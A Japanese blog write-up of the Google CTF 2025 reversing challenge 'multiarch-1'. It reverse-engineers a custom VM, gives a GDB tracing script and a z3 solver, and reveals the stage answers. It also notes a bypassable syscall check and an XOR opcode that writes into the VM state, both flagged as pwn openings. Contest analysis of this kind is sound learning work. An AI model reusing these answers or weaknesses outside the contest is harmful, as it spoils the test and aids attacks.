プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

Google CTF 2025 write-up

Google CTF 2025へ参加しました。そのwrite-up記事です。

IDAの解析結果ファイル.i64を、GitHubで公開しています。

コンテスト概要

2025/06/28(土) 03:00 +09:00 - 06/30(月) 03:00 +09:00の48時間開催でした。その他ルールは(PDF直リンク)Google Capture the Flag 2025 Official Rulesページをご参照ください。

環境

WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。

Windows(ホスト)

c:\>ver

Microsoft Windows [Version 10.0.19045.5965]

c:\>wsl -l -v
  NAME              STATE           VERSION
* Ubuntu-24.04      Running         2
  kali-linux        Stopped         2
  docker-desktop    Running         2
  Ubuntu-22.04      Stopped         2

c:\>

他ソフト

  • IDA Version 9.1.250226 Windows x64 (64-bit address size)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.2 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show pwntools | grep Version:
Version: 4.14.1
$ python3 -m pip show z3-solver | grep Version:
Version: 4.8.16.0
$ python3 -m pip show tqdm | grep Version:
Version: 4.66.4
$ gdb --version
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ gdb --batch --eval-command 'version' | grep 'Pwndbg:'
Pwndbg:   2025.05.30 build: 5cff331b
$ pwninit --version
pwninit 3.3.1

解けた問題

[reversing] multiarch-1 (99 teams solves, 126 points)

Stacks are fun, registers are easy, but why do one when you can do both? Welcome to the multiarch.

multiarch-1.2025.ctfcompetition.com 1337

nc接続先がありました。また、配布ファイルとして問題本体のmultiarchcrackme.masmと、サーバー側プログラムの各種ファイルがありました:

$ file *
Dockerfile:   ASCII text
crackme.masm: data
multiarch:    ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc495115eb37cb56a37d5ac691cf406d06f185c7, for GNU/Linux 4.4.0, stripped
nsjail.cfg:   ASCII text
runner.py:    Python script, ASCII text executable
$

後述するように、multiarchバイナリはpwn問題としても使われます。そのためmultiarchのreversingパートを手厚く記述します。なお、GitHubでIDAの解析結果ファイル.i64を公開しています。

解析結果を要約すると、multiarchバイナリは入力ファイルを実行する独自VM内容です。解釈するファイル形式はMASMというmagicこそ使われていますが、Microsoft Macro Assembler (MASM)とは無関係の独自形式のはずです。

VM実行状態とVMメモリマップ、VM命令

バイナリを解析した結果、VM実行状態は次のC構造体で表せることが分かりました:

struct HeapSegment
{
  void *pAllocatedSize0x200;
  int dwVmAddrBegin;
};

struct VmContext
{
  void *pTextSegment_Size0x1000_Rwx;
  void *pDataSegment_Size0x1000_Rwx;
  void *pStackSegment_Size0x1000_Rwx;
  unsigned __int8 *pDataSegment_3_ForInstructionIsStackOrReg;
  __int64 qwSize_Segment3_StackOrRegBits;
  const char *(*fpGetFlagFromEnvironmentVariable)(void);
  bool bExecutionFailed;
  bool bCanUseSyscall6_WhenRegInst;     ///< StackInstだとこのフラグは無視できる
  unsigned __int8 dwStatusFlag_0ZF_1OF_2Something;
  unsigned int dwPC_Initial0x1000;
  unsigned int dwSP_Initial0x8F00;
  unsigned int dwRegisterAbcdArraySize4[4]; ///< [0]: Aレジスタ
                                            ///< [1]: Bレジスタ
                                            ///< [2]: Cレジスタ
                                            ///< [3]: Dレジスタ
  HeapSegment heapSegmentArray_Size5[5]; ///< ものすごく怪しい。revでは未使用。pwn用途のはず。
  unsigned __int8 byteHeapSegmentCount;
};

VM中の仮想アドレスは32-bit整数で扱います。メモリマップは次のとおりです:

  • 0x1000-0x2000: textセグメント相当(なおRWX)、PC初期値が0x1000
  • 0x2000-0x3000: dataセグメント相当(なおRWX)
  • 0x8000-0x9000: stackセグメント相当(なおRWX)、SP初期値が0x8F00
  • それ以外: 独自syscall 6で動的確保

問題文にある通りVM命令の特徴として、Stack MachineのようなVM命令とRegister MachineのようなVM命令を混在できる点があります。それぞれの命令は、バイナリ中の文字列ではStackVM instructionRegVM instructionと表現されます。どちらの命令種類であるかは入力ファイル中の別のビット列で区別されるため、2つのVM命令種類でopcodeが重複する場合があります。

StackVM instruction

StackVM instructionのVM命令では、命令長は「1バイトopcode, 4バイトoperand」の合計5バイトで固定です。つまり分かりやすく解析しやすいです。また、オペランドの範囲チェック時のエラーメッセージで、しばしば想定opcode名が現れます。

multiarchバイナリの0x1A56の関数で、StackVM instructionをパースおよび実行します。opcodeの解析時のメモです:

  • 0x10: push8(operand)。オペランドは[0x00,0xFF]必須。SP-=1。エラー文字列によるとS.LDB命令。
  • 0x20: push16(operand)。オペランドは[0x00,0xFFFF]必須。SP-=2。エラー文字列によるとS.LDW命令。(pop16が無い気がする←0x1718に関数は存在するけれど未使用)
  • 0x30: push32(operand)SP-=4;
  • 0x40: push32(memory[operand])SP-=4。エラー文字列によるとS.LDP命令。
  • 0x50: pop32。pop結果は使わず破棄。SP+=4
  • 0x60: addpush(pop32() + pop32()); 内容です。オペランドは使いません。以下3命令も同様です。
  • 0x61: sub
  • 0x62: xor
  • 0x63: bit_and (&)
  • 0x70: goto operand;
  • 0x71: if (ZF) goto operand;
  • 0x72: if (!ZF) goto operand;
  • 0x80: cmp。VM実行状態に(ZF, OF, 何か)フラグを設定。
  • 0xA0: 独自syscall。一見すると「0x1798での検証があるように、Regieter Aの下位1バイトが独自syscall number」に見えますが、実際は0x1798のチェック後に0x1E58でのpop8結果をsyscall番号と再解釈しています。つまり0x1798での独自sycall 6のチェックを迂回できます。
    • 0: scanf("%u", &value); push32(value);
    • 1: [E] unsupported syscall!
    • 2: vmAddr=pop32(); size=pop8(); fwrite(&memory[vmAddr], 1, size, stdout);
    • 3: srand(pop32());
    • 4: value = rand()&0xFF; value|=rand()<<16; push32(value);
    • 5: 環境変数FLAG内容を出力。
    • 6: desiredVmAddr=pop32(); `calloc(0x200, 1)`してVMメモリマップへ反映; push32(確保結果のvmAddr);
  • 0xFF: オペランドは0xFFFFFFFF必須。VM中で無限ループ。エラー文字列によるとS.HLT命令。

RegVM instruction

RegVM instructionのVM命令は、1バイトopcode、可変長operandの構成です。x86のmov [rax], rbxmov rax, [rbx]じみた命令もあるようで、1バイトのRegister種類オペランドや4バイトの即値オペランドを取ったり、Load/Storeを行ったりします。詳細は未解析です。

いくつかの命令では、32-bitレジスタ4個を1つの配列かのように扱います:

  • REG[0] := RegisterA
  • REG[1] := RegisterB
  • REG[2] := RegisterC
  • REG[3] := RegisterD

opcodeの解析時メモです:

  • 0x00: 正常なVM実行終了。
  • 0x01: 独自syscall。Regieter Aの下位1バイトが独自syscall number。
    • 0: scanf("%u", RegisterA);
    • 1: input(memory[RegisterB : registerB+registerC]) ←fgetcループ。改行が終端。
    • 2: fwrite(&memory[RegisterB], 1, RegisterC, stdout);
    • 3: srand(registerB);
    • 4: value = rand()&0xFF; value|=rand()<<16; regiterA=value;
    • 5: [E] unsupported syscall!」
    • 6: desiredVmAddr=RegisterB; `calloc(0x200, 1)`してVMメモリマップへ反映; RegisterA=確保結果のvmAddr;
      • ただし、0x1798での独自syscall実行可否判断時に、VM実行状態の特定フラグがONである必要があります。
      • そのフラグは0x174Aの関数で[D] executing as system nowとしてフラグONに、0x1771の関数で[D] executing as user nowとしてフラグOFFになります。しかしどちらの関数も未使用です。
      • そのため実質RegVM instructionからは本独自syscallを使えません。
  • 0x10: オペランド4バイト。push32(operand);
  • 0x11: push32(RegisterA);
  • 0x12: push32(RegisterB);
  • 0x13: push32(RegisterC);
  • 0x14: push32(RegisterD);
  • 0x15: RegisterA=pop32();
  • 0x16: RegisterB=pop32();
  • 0x17: RegisterC=pop32();
  • 0x18: RegisterD=pop32();
  • 0x20: オペランド1バイト。 REG[((operand>>4)-1)&3] += REG[(operand-1)&3];
  • 0x21: オペランド1+4バイト。 REG[(operand8>>4)-1] += operand32;
  • 0x30: オペランド1バイト。 REG[((operand>>4)-1)&3] -= REG[(operand-1)&3];
  • 0x31: オペランド1+4バイト。
    • if ((operand8>>4)-1 < 3u) {REG[(operand8>>4)-1] -= operand32;}
    • else {SP -= operand32;}。珍しくSP操作もある。
  • 0x40: オペランド1バイト。 REG[((operand>>4)-1)&3] ^= REG[(operand-1)&3];
  • 0x41: オペランド1+4バイト。 VM実行状態中アドレスをoperand1で指定する領域 ^= operand32; ← Pwn視点で怪しい!!!
  • 0x50: オペランド1バイト。 mul = REG[((operand>>4)-1)] * REG[(operand-&0xFF)&01]; RegisterA=mul&0xFFFFFFFF; RegisterD=(mul>>16)
  • 0x51: オペランド1+4バイト。 mul = REG[((operand>>4)+3)&3] * operand32; RegisterA=mul&0xFFFFFFFF; RegisterD=(mul>>16);
  • 0x60: オペランド4バイト。実質call。 push32(PC+4); goto operand;
  • 0x61: オペランド1バイト。実質retn depth。 SP += 4*operand。PC=pop32();
  • 0x62: オペランド4バイト。実質jz。 if (ZF!=0) {goto operand;}
  • 0x63: オペランド4バイト。実質jnz。 if (ZF==0) {goto operand;}
  • 0x64: オペランド4バイト。実質joのはず。 if(OF!=0) {goto operand;}
  • 0x68: オペランド4バイト。実質goto。 goto operand。
  • 0x70~0x7F: CMP(REG[(opcode>>2)&3], REG[opecode&3]);
  • 0x80~0x8F: operand4バイト。CMP(REG[opcode&3]; operand);
  • 0xA0~0xAF: 詳細不明。x86のmovのようなSTORE/LOAD系統?
    • 0xA1: operand 1+4バイト。0xda, 0x5630477c なら RegisterD=0x5630477c
  • (0xB0~0xBF): (明確な分岐は見つかっていませんが、間に隙間があるのは変なのでどこかでカバーされているかも ← 本当に無いかも?)
  • 0xC0~0xFF: 詳細不明。x86のmovのようなSTORE/LOAD系統の模様。
    • 0xC1: オペランドなし。RegisterA=RegisterB;
    • 0xC5: オペランド4バイト。 RegisterA=operand;
    • 0xC8: オペランドなし。RegisterB=RegisterA;
    • 0xCD: オペランド4バイト。 RegisterB=operand;
    • 0xCE: オペランドなし。メモリ操作なし、RegisterB=0x00008ee0?これは一体?
    • 0xD0: オペランドなし。 RegisterC=RegisterA;
    • 0xD5: オペランド4バイト。 RegisterC=operand;
  • (0xE0~0xFF): (未使用?それとも本当に無い?)

Docker環境で使用するglibcファイル確保と、pwninitでのバイナリパッチ

上述の通り、C標準ライブラリのsrand関数やrand関数を使う処理があります。手元での動作検証環境とnc接続先のリモート環境でsrand関数やrand関数の挙動が違ったら悲しいので、リモート環境で使われているglibcが欲しいです。

本問題ではDockerfileが与えられているので、リモート環境でも当該Dockerコンテナが起動している可能性が高いです。そのためローカル環境でコンテナをビルドして、その中からglibc用ファイルを持ってくることにしました。

注意点として本問題のDockerfile内容は、次のようにマルチステージビルド構成です:

# 前略
FROM ubuntu:24.04 as chroot

RUN apt-get -qq update && apt-get install -qq -y python3

COPY flag /
COPY multiarch /home/user/
COPY crackme.masm /home/user/
COPY runner.py /home/user/
RUN chmod +x /home/user/multiarch

FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f

COPY --from=chroot / /chroot

COPY nsjail.cfg /home/user/

CMD kctf_setup && \
  kctf_drop_privs \
  socat \
  TCP-LISTEN:1337,reuseaddr,fork \
  EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /usr/bin/python3 /home/user/runner.py"

このうち、1つ目のchrootステージでは真っ当に動作環境の作成を、2つ目のgcr.io/kctf-docker/challengeはjail環境(=サンドボックス環境)を作成しています。今回のmultiarchバイナリが使用するglibcは1つ目のchrootステージ側のものであるため、そちらを取得する必要があります。2つ目のステージでCOPY --from=chroot / /chrootをしているため、最終的なDockerコンテナでは/chroot/TODO以下をコピーしてくる必要があることに注意してください。

具体的には次の手順でDockerコンテナ中のglibcファイルを取得しました:

  1. docker build -t mytest .でDockerイメージをビルド
  2. docker run --rm -it mytest bashでDockerコンテナを起動しつつ、シェルを起動
  3. Dockerコンテナ内部のシェルでchroot /chrootを実行して、COPY --from=chroot / /chrootでコピーされた1つ目のステージ内部のファイルシステムが分かるように変更。
  4. 引き続きDockerコンテナ内部のシェルでldd /home/user/multiarchを実行して、chroot後の状態でlibc.so.6 => /lib/x86_64-linux-gnu/libc.so.6であることを確認。
  5. Dockerホスト側の別シェルでdocker cp <DockerコンテナのID>:/chroot/lib/x86_64-linux-gnu/libc.so.6 .を実行して、Dockerコンテナ内部のglibcバイナリであるlibc.so.6をDockerホスト側へコピー。

その後、pwninitを実行して、コピーしたlibc.so.6を使うようにパッチされたmultiarch_patchedを生成しました。

crackme.masmファイル解析

multiarchバイナリをあらかた解析し終わった後に、こう思いました。「RevVM instructionがややこしいので、MASM形式の逆アセンブルは自分では書きたくない!」と。そういうわけでcrackme.masmファイルの内容解析は、gdbでのデバッグ実行と、ブレークポイント等を利用したトレース出力で行う方針にしました。crackme.masmファイルは次のように小さい内容であるため、トレース出力で十分まかなえると判断しました:

$ xxd crackme.masm
00000000: 4d41 534d 0113 0065 0102 7801 5001 03c8  MASM...e..x.P...
00000010: 022d 0010 4b00 0000 3000 2000 0010 0200  .-..K...0. .....
00000020: 0000 a000 0000 0010 2b00 0000 30ad 2000  ........+...0. .
00000030: 0010 0200 0000 a000 0000 0010 0000 0000  ................
00000040: a000 0000 0020 3713 0000 2039 0500 0030  ..... 7... 9...0
00000050: 0953 6708 6200 0000 0060 0000 0000 30aa  .Sg.b....`....0.
00000060: aaaa aa80 0000 0000 720b 1100 00c5 0200  ........r.......
00000070: 0000 cdd8 2000 00d5 1e00 0000 0131 5020  .... ........1P
00000080: 0000 00ce 12d5 2000 0000 c501 0000 0001  ...... .........
00000090: 15cd 2000 0000 601c 1100 0080 3173 0000  .. ...`.....1s..
000000a0: 630b 1100 00c5 0000 0000 105a 0000 0030  c..........Z...0
000000b0: f620 0000 1002 0000 00a0 0000 0000 01c8  . ..............
000000c0: c503 0000 0001 d500 0000 0060 4511 0000  ...........`E...
000000d0: 10ff ffff 0011 6300 0000 0030 eeff c000  ......c....0....
000000e0: 8000 0000 0071 ec10 0000 2130 0100 0000  .....q....!0....
000000f0: 820a 0000 0062 0b11 0000 68b8 1000 00d5  .....b....h.....
00000100: 3900 0000 cd74 2000 00c5 0200 0000 0110  9....t .........
00000110: 0500 0000 a000 0000 0070 1b11 0000 d529  .........p.....)
00000120: 0000 00cd 4b20 0000 c502 0000 0001 00d0  ....K ..........
00000130: 2012 11cd 0000 0000 a1da 5140 beba feca   .........Q@....
00000140: 4024 1511 7262 4211 0000 2130 0400 0000  @$..rbB...!0....
00000150: 6825 1100 00c1 6101 c500 3713 0010 0400  h%....a...7.....
00000160: 0000 a000 0000 0016 4012 1130 f2f2 f2f2  ........@..0....
00000170: 6200 0000 0015 6100 5765 6c63 6f6d 6520  b.....a.Welcome
00000180: 746f 2074 6865 206d 756c 7469 6172 6368  to the multiarch
00000190: 206f 6620 6d61 646e 6573 7321 204c 6574   of madness! Let
000001a0: 2773 2073 6565 2068 6f77 2077 656c 6c20  's see how well
000001b0: 796f 7520 756e 6465 7273 7461 6e64 2069  you understand i
000001c0: 742e 0a53 6565 6d73 206c 696b 6520 796f  t..Seems like yo
000001d0: 7520 6861 7665 2073 6f6d 6520 6c65 6172  u have some lear
000001e0: 6e69 6e67 2074 6f20 646f 210a 436f 6e67  ning to do!.Cong
000001f0: 7261 7473 2120 596f 7520 6172 6520 7468  rats! You are th
00000200: 6520 536f 7263 6572 6572 2053 7570 7265  e Sorcerer Supre
00000210: 6d65 206f 6620 7468 6520 6d75 6c74 6961  me of the multia
00000220: 7263 6821 0a43 6861 6c6c 656e 6765 2031  rch!.Challenge 1
00000230: 202d 2057 6861 7427 7320 796f 7572 2066   - What's your f
00000240: 6176 6f72 6974 6520 6e75 6d62 6572 3f20  avorite number?
00000250: 4368 616c 6c65 6e67 6520 3220 2d20 5465  Challenge 2 - Te
00000260: 6c6c 206d 6520 6120 6a6f 6b65 3a20 4368  ll me a joke: Ch
00000270: 616c 6c65 6e67 6520 3320 2d20 416c 6d6f  allenge 3 - Almo
00000280: 7374 2074 6865 7265 2120 4275 7420 6361  st there! But ca
00000290: 6e20 796f 7520 7072 6564 6963 7420 7468  n you predict th
000002a0: 6520 6675 7475 7265 3f0a 5768 6174 206e  e future?.What n
000002b0: 756d 6265 7220 616d 2049 2074 6869 6e6b  umber am I think
000002c0: 696e 6720 6f66 3f20 0000 0000 0000 0000  ing of? ........
000002d0: 0000 0084 1006 8770 0821 0400 0038 0c21  .......p.!...8.!
000002e0: 0400 8020 8410 4208 0008 21bc a1a0 8720  ... ..B...!....
000002f0: 2c00 b000 0c                             ,....

トレース出力用のPython製GDB Script

色々解釈しながら、実行するVM命令種類やVM状態中の各種レジスタ内容をトレース出力するようにしました:

  • StackVM instruction実行時のopcode, operand
  • RegVM instruction実行時のopcode, 4個のレジスタ内容
  • 独自syscall実行時の独自syscall number
  • CMP命令実行時の両オペランドの値
  • VM中メモリのRead/Write実行時のVM中アドレスと内容

PIEバイナリなので、pwndbgのpieコマンドでRVAからVAへ変換してdprintfコマンドを使って、小労力でトレース出力を実装しました。Read/Writeは試行錯誤の果てに複雑になっていますが、おそらくdprintfでうまくできると思います。

トレース実行をする最終的なPythonスクリプト内容です:

#!/usr/bin/env python3
# Usage: gdb -q -x ./test-gdb.py multiarch_patched
# pwndbgの機能(pieコマンド)を使用しています。

import typing

import gdb

MASM_FILE_NAME = "exploit.masm"
# rev用の名残。pwnでは入力を使わないはず。
# with open(MASM_FILE_NAME, "w") as f:
#     inputs = [
#         "2405061754",
#         "|G0V|BeM1W2fZJgI2q{=FVrYzeM~UQP",
#         "2688102",
#     ]
#     for line in inputs:
#         f.write(line)
#         f.write("\n")

gdb.execute("set python print-stack full") # デバッグに便利とコンテスト後に知りました
gdb.execute("set show-tips off")


def rva_to_va(rva: int):
    addr_absolute = int(
        gdb.execute(f"pie {hex(rva)}", to_string=True).split(" = ")[1], 0
    )

    print(f"{addr_absolute = :08x}")
    return addr_absolute


def set_dprintf(rva: int, format_etc: str):
    addr = rva_to_va(rva)
    command = f"""dprintf *{hex(addr)}, {format_etc}"""
    print(command)
    gdb.execute(command)


class DumpBreakPoint(gdb.Breakpoint):
    def __init__(
        self,
        spec,
        mode: typing.Literal["write"] | typing.Literal["read"],
        bits: typing.Literal[8] | typing.Literal[16] | typing.Literal[32],
    ):
        super(DumpBreakPoint, self).__init__(spec, internal=False)
        self._mode = mode
        self._bits = bits

    def stop(self):
        if self._mode == "write":
            addr = gdb.parse_and_eval("$rsi")
            value = gdb.parse_and_eval("$edx")
            match self._bits:
                case 8:
                    value &= 0xFF
                case 16:
                    value &= 0xFFFF
                case 32:
                    value &= 0xFFFFFFFF
                case _:
                    raise Exception()
            print(f"  Write{self._bits}(0x{int(addr):08x}, 0x{int(value):08x})")
        else:
            # memcpy箇所です。
            vm_addr = gdb.parse_and_eval("$r15d")
            bits = int(gdb.parse_and_eval("$rbx")) & 0xFF
            match bits * 8:
                case 8:
                    value = f"0x{int(gdb.parse_and_eval('{unsigned char}($rsi)')):02x}"
                case 16:
                    value = f"0x{int(gdb.parse_and_eval('{unsigned short}($rsi)')):04x}"
                case 32:
                    value = f"0x{int(gdb.parse_and_eval('{unsigned int}($rsi)')):08x}"
                case _:
                    return False  # 別の所らしい。
            print(f"  Read{bits * 8}(0x{int(vm_addr):08x}) => {value}")
        return False  # Continue execution (equivalent to `silent` in GDB)


gdb.execute(f"starti {MASM_FILE_NAME}")

# pwn関連用
set_dprintf(0x1333, r""" "!!!!VmContext Addr: %016x\n", $rax""")
set_dprintf(
    0x273E,
    r""" "!!!!AddrToXor: %016x, current: %08x, xored: %08x\n", ($rbx+$rax*4+0x0B), {unsigned int}($rbx+$rax*4+0x0B), $edx""",
)
# gdb.execute("breakrva *0x273E")


if True:  # Rev用ブレークポイント。
    # 実質的にはこれが一番重要になるはず。
    set_dprintf(0x1A3B, r""" "CMP: Value2: 0x%08x, Value1: 0x%08x\n", $esi, $edx""")

    # syscall確認。
    set_dprintf(0x1E78, r""" "syscall(StackInst): %d\n", $rax""")
    set_dprintf(0x2393, r""" "syscall(RegInst  ): %d\n", $rax""")

    # Stack側色々
    set_dprintf(
        0x1A87,
        r""" "StackInst: opcode: %02x, operand: 0x%08x\n", {unsigned char}($rsp+0x38-0x25), {unsigned int}($rsp+0x38-0x24)""",
    )

    # Reg側
    set_dprintf(
        0x2092,
        r""" "RegInst: BEFORE Regs: [0x%08x, 0x%08x, 0x%08x, 0x%08x], opcode: %02x\n", {unsigned int}($rbx+0x3B+0), {unsigned int}($rbx+0x3B+4), {unsigned int}($rbx+0x3B+8), {unsigned int}($rbx+0x3B+12), $r12""",
    )

    # Read側が.stop()では面倒くさいので一部の場所で頑張ることになりました。opcode読み込みでもRead箇所にヒットするので、実行ログが少し読みづらくなります。
    DumpBreakPoint(f"*{hex(rva_to_va(0x1598))}", "read", 32)
    DumpBreakPoint(f"*{hex(rva_to_va(0x1659))}", "write", 32)
    DumpBreakPoint(f"*{hex(rva_to_va(0x1675))}", "write", 16)
    DumpBreakPoint(f"*{hex(rva_to_va(0x1692))}", "write", 8)

gdb.execute("continue")
gdb.execute("quit")


print("END")
exit(0)

開発中にハマった点です:

  • Read命令のトレースには、最初は「Read系関数の先頭にブレークポイントを貼る、ブレーク時に書き込み先アドレスを保持、finishコマンドで関数終了まで実行してから書き込み結果確認」をしようとしていました。しかしgdb.Breakpointを継承した自作型のstopメソッドでgdb.execute("until memcpy")等を試すとCannot execute this command while the selected thread is running例外が発生しました。
    • Breakpoints In Python (Debugging with GDB)によるとYou should not alter the execution state of the inferior (i.e., step, next, etc.), alter the current frame context (i.e., change the current active frame), or alter, add or delete any breakpoint. As a general rule, you should not alter any data within GDB or the inferior at this time.とのことです。かなり制約が強いです……。
    • 仕方がないので、最終的にmemcpy呼び出し箇所にブレークポイントを設定して頑張る方針にしました。
  • スクリプト内部で例外が発生しても、初期状態では例外メッセージのみが表示されてスタックトレースが表示されないため、デバッグに苦労しました。
    • コンテスト終了後に色々調べていると、Python Commands (Debugging with GDB)set python print-stack fullコマンドを知りました。便利そうです。せっかくなので上記スクリプト先頭に追加しています。
  • もしかしたら、gdb -x用のスクリプトではなく、「スクリプト→pwntools等→gdb→debuggee」の流れで制御するほうが楽かもしれません(実は以前はその方法でgdbを自動操作していました)。

crackme.masm 1段階目

ここからは、実際にcrackme.masm内容を実行しつつ、実行内容をトレース出力して解析しました。なおcrackme.masmファイルのHexDump結果の文字列から想像できるように、3段階構成になっています。

1段階目の、当時のトレース出力状況です:

Challenge 1 - What's your favorite number?
StackInst: opcode: 10, operand: 0x00000000
StackInst: opcode: a0, operand: 0x00000000
syscall(StackInst): 0
42
StackInst: opcode: 20, operand: 0x00001337
StackInst: opcode: 20, operand: 0x00000539
StackInst: opcode: 30, operand: 0x08675309
StackInst: opcode: 62, operand: 0x00000000
StackInst: opcode: 60, operand: 0x00000000
StackInst: opcode: 30, operand: 0xaaaaaaaa
StackInst: opcode: 80, operand: 0x00000000
CMP: Value2: 0xaaaaaaaa, Value1: 0x1b50565a

1段階目はStackVM instructionのみで構成されています。また、独自system call 0は、32-bit整数を読み込みます。

例えば入力に42を与えた場合、最終的に0xaaaaaaaa0x1b50565aを比較しています。opcodeの対応を調べると、(0x13370539 ^ 0x08675309) + 入力値 == 0xaaaaaaaaであるかを検証していることが分かります。

そのため0xaaaaaaaa - (0x13370539 ^ 0x08675309)の結果である、10進数表記で2405061754を入力すれば1段階目を突破できます。

crackme.masm 2段階目

2段階目は文字列を入力する内容です。また、2段階目はRegVM instructionのみで構成されています。当時のトレース出力内容と、手で補ったメモです:

:最大32文字入力後
opcode: 15 : A=POP ← 0x00008ee0
opcode: cd : B=0x00000020
opcode: 60 : call
opcode: d0 : ← C=A
opcode: 20 : REG[((operand>>4)-1)&3] += REG[(operand-1)&3] ← A=0x00008f00
opcode: 11 : PUSH32(A)
opcode: cd : B=0

:loop_begin
opcode: a1 : D=[C]、入力内容を4文字ごとに取得するはず。
opcode: 51 : (D; A) = MUL(REG[some], operand)。おそらく 「D * 0xcafebabe」
opcode: 40 : XOR。 B ^= D のはず。
opcode: 15 : A = POP() ; 0x00008f00復元用らしい。ループ最後判定用。
opcode: 11 : push(A)

# ループ判定終了判定
opcode: 72 : CMP。多分AとCを比較。Aが終端、Cが現在。
opcode: 62 : jz loop_after
opcode: 21 : C+=4らしい。
opcode: 68 : goto :loop_begin

:loop_after
opcode: c1 : mov系。 A = Bらしい。
opcode: 61 : retn
opcode: 80 : CMP。 A == 0x00007331 判定。

入力文字列を4バイトずつ使って、Bレジスタの内容を加工し、最終的な値が0x00007331になっていれば突破できます。z3-solverライブラリを使って解きました:

#!/usr/bin/env python3

import z3

solver = z3.Solver()
flag = [z3.BitVec(f"flag_{i:02d}", 8) for i in range(32)]
for i, f in enumerate(flag):
    if i == 31:
        solver.add(f == 0)
    else:
        solver.add(f >= 0x30)
        solver.add(f < 0x7F)

current = 0
for i in range(8):
    tmp = 0
    for j in range(4):
        f = z3.ZeroExt(32, flag[i * 4 + j])
        tmp |= f << (8 * j)
    tmp = z3.ZeroExt(128, tmp)  # z3でのUnsigned Mulが分からなかったので過剰に拡張
    tmp *= 0xCAFEBABE
    current ^= (tmp >> 32) & 0xFFFF_FFFF
solver.add(current == 0x00007331)
assert solver.check() == z3.sat

model = solver.model()
print(model)
print("".join(chr(model[f].as_long()) for f in flag).strip("\x00"))  # type: ignore

実行すると、解の1つとして|G0V|BeM1W2fZJgI2q{=FVrYzeM~UQPを得られました。

crackme.masm 3段階目

3段階目は再び32-bit整数を入力する内容です。また、3段階目はStack instructionとRegVM instructionが混在しています。当時のトレース出力内容へ手動でメモを追加したものです:

# 入力に0xdeadbeefな「3735928559」を与えている、RegisterAに入る。
  Read8(0x000010ab) => 0x01
RegInst: BEFORE Regs: [0x00000000, 0x00007331, 0x00008f00, 0x00000000], opcode: 01
syscall(RegInst  ): 0
  Read8(0x000010ac) => 0xc8
RegInst: BEFORE Regs: [0xdeadbeef, 0x00007331, 0x00008f00, 0x00000000], opcode: c8 :: 多分B=A
  Read8(0x000010ad) => 0xc5
RegInst: BEFORE Regs: [0xdeadbeef, 0xdeadbeef, 0x00008f00, 0x00000000], opcode: c5 :: A=3?
  Read32(0x000010ae) => 0x00000003
  Read8(0x000010b2) => 0x01
RegInst: BEFORE Regs: [0x00000003, 0xdeadbeef, 0x00008f00, 0x00000000], opcode: 01 :: srand(入力内容)
syscall(RegInst  ): 3
  Read8(0x000010b3) => 0xd5
RegInst: BEFORE Regs: [0x00000003, 0xdeadbeef, 0x00008f00, 0x00000000], opcode: d5 :: C=0
  Read32(0x000010b4) => 0x00000000
  Read8(0x000010b8) => 0x60
RegInst: BEFORE Regs: [0x00000003, 0xdeadbeef, 0x00000000, 0x00000000], opcode: 60 :: CALL
  Read32(0x000010b9) => 0x00001145
  Write32(0x00008edc, 0x000010bd)

#### CALL先 ####
  Read8(0x00001145) => 0xc5
RegInst: BEFORE Regs: [0x00000003, 0xdeadbeef, 0x00000000, 0x00000000], opcode: c5 :: A=0x00133700(2回目以降どうだろう)
  Read32(0x00001146) => 0x00133700
StackInst: opcode: 10, operand: 0x00000004 :: push 4
  Write8(0x00008edb, 0x00000004)
StackInst: opcode: a0, operand: 0x00000000 :: syscall(Rand!!!!!!!!)
  Read8(0x00008edb) => 0x04
syscall(StackInst): 4
  Write32(0x00008ed8, 0x8b3267e1)
  Read8(0x00001154) => 0x16
RegInst: BEFORE Regs: [0x00133700, 0xdeadbeef, 0x00000000, 0x00000000], opcode: 16 :: B=(rand()2回結果のアレ)
  Read32(0x00008ed8) => 0x8b3267e1
  Read8(0x00001155) => 0x40
RegInst: BEFORE Regs: [0x00133700, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 40 :: A^=B
  Read8(0x00001156) => 0x12
  Read8(0x00001157) => 0x11
RegInst: BEFORE Regs: [0x8b2150e1, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 11 :: Push(A)
  Write32(0x00008ed8, 0x8b2150e1)
StackInst: opcode: 30, operand: 0xf2f2f2f2 :: push(0xf2f2f2f2)
  Write32(0x00008ed4, 0xf2f2f2f2)
StackInst: opcode: 62, operand: 0x00000000 :: 実質 A ^= 0xf2f2f2f2
  Read32(0x00008ed4) => 0xf2f2f2f2
  Read32(0x00008ed8) => 0x8b2150e1
  Write32(0x00008ed8, 0x79d3a213)
  Read8(0x00001162) => 0x15
RegInst: BEFORE Regs: [0x8b2150e1, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 15 :: A=pop();全体としてA^=0xf2f2f2f2
  Read32(0x00008ed8) => 0x79d3a213
  Read8(0x00001163) => 0x61
